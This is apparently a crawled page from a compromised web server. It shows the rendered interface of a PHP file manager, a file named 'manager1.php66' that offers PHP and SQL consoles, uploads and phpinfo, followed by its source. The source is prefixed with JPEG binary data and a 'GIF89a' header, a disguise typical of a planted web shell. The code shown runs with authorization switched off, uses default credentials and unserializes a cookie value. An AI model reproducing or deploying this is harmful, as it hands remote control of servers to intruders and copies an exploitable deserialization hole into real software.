AAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}

input, input.fm_input {
    text-indent: 2px;
}
input, textarea, select, input.fm_input {
    color: black;
    font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
    border-color: black;
    background-color: #FCFCFC none !important;
    border-radius: 0;
    padding: 2px;
}
input.fm_input {
    background: #FCFCFC none !important;
    cursor: pointer;
}
.home {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
    background-repeat: no-repeat;
}.img {
    background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
    #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
    #header_table table td {display:inline;float:left;}
}
</style>


<table class="whole" id="header_table">
<tbody><tr>
    <th colspan="2">File manager - /var/www/html/</th>
</tr>
<!--?if(!empty($msg)){?-->
<tr>
    <td colspan="2" class="row2"></td>
</tr>
<!--?}?-->
<tr>
    <td class="row2">
	<table>
	    <tbody><tr>
	    <td>
		&nbsp;<a href="./manager1.php66" title="Home"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>	    </td>
	    <td>
	    <!--?if(!empty($fm_config['make_directory'])) {?-->
		<form method="post" action="?fm=true">
		<input type="hidden" name="path" value="/var/www/html/">
		<input type="text" name="dirname" size="15">
		<input type="submit" name="mkdir" value="Make directory">
		</form>
	    <!--?}?-->
	    </td>
	    <td>
	    <!--?if(!empty($fm_config['new_file'])) {?-->
		<form method="post" action="?fm=true">
		<input type="hidden" name="path" value="/var/www/html/">
		<input type="text" name="filename" size="15">
		<input type="submit" name="mkfile" value="New file">
		</form>
	    <!--?}?-->
	    </td>
	    <td>
	    
		<form method="post" action="./manager1.php66" style="display:inline">
		<input type="submit" name="phprun" value="PHP Console">
		</form>
	    </td>
	    <td>
	    
		<form method="post" action="./manager1.php66" style="display:inline">
		<input type="submit" name="sqlrun" value="SQL Console">
		</form>
	    </td>
	    </tr>
	</tbody></table>
    </td>
    <td class="row3">
	<table>
	<tbody><tr>
	<td>
	<!--?if (!empty($fm_config['upload_file'])) {?-->
	    <form name="form1" method="post" action="?fm=true" enctype="multipart/form-data">
	    <input type="hidden" name="path" value="/var/www/html/">
	    <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;">
	    <input type="text" readonly="1" id="upload_visible" placeholder="Select the file" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();">
	    <input type="submit" name="test" value="Upload">
	    </form>
	<!--?}?-->
	</td>
	<td>
	<!--?if ($auth['authorize']) {?-->
	    <form action="" method="post">&nbsp;&nbsp;&nbsp;
	    <input name="quit" type="hidden" value="1">
	    Hello, admin	    <input type="submit" value="Quit">
	    </form>
	<!--?}?-->
	</td>
	<td>
	
<form name="change_lang" method="post" action="">
    <select name="fm_lang" title="Language" onchange="document.forms['change_lang'].submit()">
	<option value="en" selected="selected">English</option>
	<option value="de">German</option>
	<option value="ru">Russian</option>
	<option value="fr">French</option>
	<option value="uk">Ukrainian</option>
    </select>
</form>
	</td>
	</tr><tr>
	</tr></tbody></table>
    </td>
</tr>
</tbody></table>
<table class="all" border="0" cellspacing="1" cellpadding="1" id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> Filename </th>
    <th style="white-space:nowrap"> Size </th>
    <th style="white-space:nowrap"> Date </th>
    <th style="white-space:nowrap"> Rights </th>
    <th colspan="4" style="white-space:nowrap"> Manage </th>
</tr>
</thead>
<tbody>
<tr class="row2"> 
    <td><a href="?fm=true&amp;path=/var/www/html/." title="Show ."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> .</a></td>
    <td></td>
    <td style="white-space:nowrap">2023-02-13 00:50:32</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
</tr>
<tr class="row2"> 
    <td><a href="?fm=true&amp;path=/var/www/html/.." title="Show .."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ..</a></td>
    <td></td>
    <td style="white-space:nowrap">2023-02-13 00:50:32</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
</tr>
<tr class="row1"> 
    <td><a href="?fm=true&amp;edit=beneri.se_malware_analysis&amp;path=/var/www/html/" title="Edit"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> beneri.se_malware_analysis</a></td>
    <td>0</td>
    <td style="white-space:nowrap">2023-02-13 00:50:32</td>
    <td><a href="?fm=true&amp;rights=beneri.se_malware_analysis&amp;path=/var/www/html/" title="Rights beneri.se_malware_analysis">-rw-r--r--</a></td>
    <td><a href="#" title="Delete beneri.se_malware_analysis" onclick="if(confirm('File selected: \nbeneri.se_malware_analysis. \nAre you sure you want to delete this file?')) document.location.href = '?fm=true&amp;delete=beneri.se_malware_analysis&amp;path=/var/www/html/'">Delete</a></td>
    <td><a href="?fm=true&amp;rename=beneri.se_malware_analysis&amp;path=/var/www/html/" title="Rename beneri.se_malware_analysis">Rename</a></td>
    <td>&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw==" title="Download beneri.se_malware_analysis">Download</a></td>
    <td>&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw==" title="Archiving beneri.se_malware_analysis">Compress&nbsp;.tar.gz</a></td>
</tr>
<tr class="row1"> 
    <td><a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open('./manager1.php66?img=L3Zhci93d3cvaHRtbC9tYW5hZ2VyMS5waHA2Ng==','popup','width=640,height=480,left=' + lefto + ',scrollbars=yes,toolbar=no,location=no,directories=no,status=no');return false;" href="./manager1.php66?img=L3Zhci93d3cvaHRtbC9tYW5hZ2VyMS5waHA2Ng=="><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> manager1.php66</a></td>
    <td>87065</td>
    <td style="white-space:nowrap">2023-02-13 00:50:32</td>
    <td><a href="?fm=true&amp;rights=manager1.php66&amp;path=/var/www/html/" title="Rights manager1.php66">-rw-rw-r--</a></td>
    <td><a href="#" title="Delete manager1.php66" onclick="if(confirm('File selected: \nmanager1.php66. \nAre you sure you want to delete this file?')) document.location.href = '?fm=true&amp;delete=manager1.php66&amp;path=/var/www/html/'">Delete</a></td>
    <td><a href="?fm=true&amp;rename=manager1.php66&amp;path=/var/www/html/" title="Rename manager1.php66">Rename</a></td>
    <td>&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC9tYW5hZ2VyMS5waHA2Ng==" title="Download manager1.php66">Download</a></td>
    <td>&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC9tYW5hZ2VyMS5waHA2Ng==" title="Archiving manager1.php66">Compress&nbsp;.tar.gz</a></td>
</tr>
</tbody>
</table>
<div class="row3">&nbsp;<a href="./manager1.php66" title="Home"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a> | ver. 1.1 | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="http://localhost">.</a> | PHP 7.2.34-37+ubuntu22.04.1+deb.sury.org+1 | Generation time: 0 | <a href="?proxy=true">proxy</a> | <a href="?phpinfo=true">phpinfo</a> | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet('fm_table','export');" title="Download xls">xls</a> | <a href="?fm_settings=true">Settings</a></div>
<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>
<script language="Javascript" type="text/javascript">
editAreaLoader.init({
id: "newcontent"
,display: "later"
,start_highlight: true
,allow_resize: "both"
,allow_toggle: true
,word_wrap: true
,language: "ru"
,syntax: "php"	
,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help"
,syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas"
});
</script><script type="text/javascript">
function download_xls(filename, text) {
    var element = document.createElement('a');
    element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
    element.setAttribute('download', filename);
    element.style.display = 'none';
    document.body.appendChild(element);
    element.click();
    document.body.removeChild(element);
}

function base64_encode(m) {
    for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
	c = m.charCodeAt(l);
	if (128 > c) d = 1;
	else
	    for (d = 2; c >= 2 << 5 * d;) ++d;
	for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
    }
    b && (g += k[f << 6 - b]);
    return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
	t = new Date();
	filename = 'fm_' + t.toISOString() + '.xls'
	download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

    this.CreateExcelSheet = 
	function(el, name){
	    if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

		var x = document.getElementById(el).rows;

		var xls = new ActiveXObject("Excel.Application");

		xls.visible = true;
		xls.Workbooks.Add
		for (i = 0; i < x.length; i++) {
		    var y = x[i].cells;

		    for (j = 0; j < y.length; j++) {
			xls.Cells(i + 1, j + 1).Value = y[j].innerText;
		    }
		}
		xls.Visible = true;
		xls.UserControl = true;
		return xls;
	    } else {
		tableToExcelData(el, name);
	    }
	}
}
</script>



</body></html>

Original PHP code

���JFIF��;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90
��C




��C		

��PP"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?�"�E�x�}�^�L2[G����'�-�v��EIƜy�Tc�rO��-okZڳG�=_�Z�$�i=���7���m#,1����ר�B�Z~1^t�2:}�O�)��9�\+o6�a���B�u��W�ףNq�c�Q�
(������R�@{��K
�H�uQTW���W{5{�����]���ݮ_�7�[��+��+^D���}�FS^^�}�X�m���@�W��23+.�_�j��}����QEw��)�R��KY��u���[����"u�5a�)�_>W�|;�E�"��n�6�ʼn���oI�eQ^y�E+�Q�1�����ڮ����3W��D�E��%M�=��:�:�0�y�j�(���0�G����@��_�m'��҆>_�e?�ܻ�j���h��D/�sp�۟�m��.Zf����𥢊��*4��VjX�f��Q��ͻ�e�+�^��F[�ܤeͻܿ{o�W�W�BW�c���?�4�WI��m溑c�6�F���j��ڕ��.�Y'�_3�5��F�c�ۈl���l|��>�Ҽ��d��4���_iz.�>���3WB8�"��\��#p��)��絯iz��"��?+WEI�MI��ɵo�ڕ�f�)z����\���Z���E"��e���7AY���c�[�����1�/ѫ��}��T����GIF89a=<<?php
/* PHP File manager ver 1.1 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"http:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.1;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
    'make_directory' => true, 
    'new_file' => true, 
    'upload_file' => true, 
    'show_dir_size' => false, //if true, show directory size → maybe slow 
    'show_img' => true, 
    'show_php_ver' => true, 
    'show_php_ini' => false, // show path to current php.ini
    'show_gt' => true, // show generation time
    'enable_php_console' => true,
    'enable_sql_console' => true,
    'sql_server' => 'localhost',
    'sql_username' => 'root',
    'sql_password' => '',
    'sql_db' => 'test_base',
    'enable_proxy' => true,
    'show_phpinfo' => true,
    'show_xls' => true,
    'fm_settings' => true,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
    setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
    $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
    $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
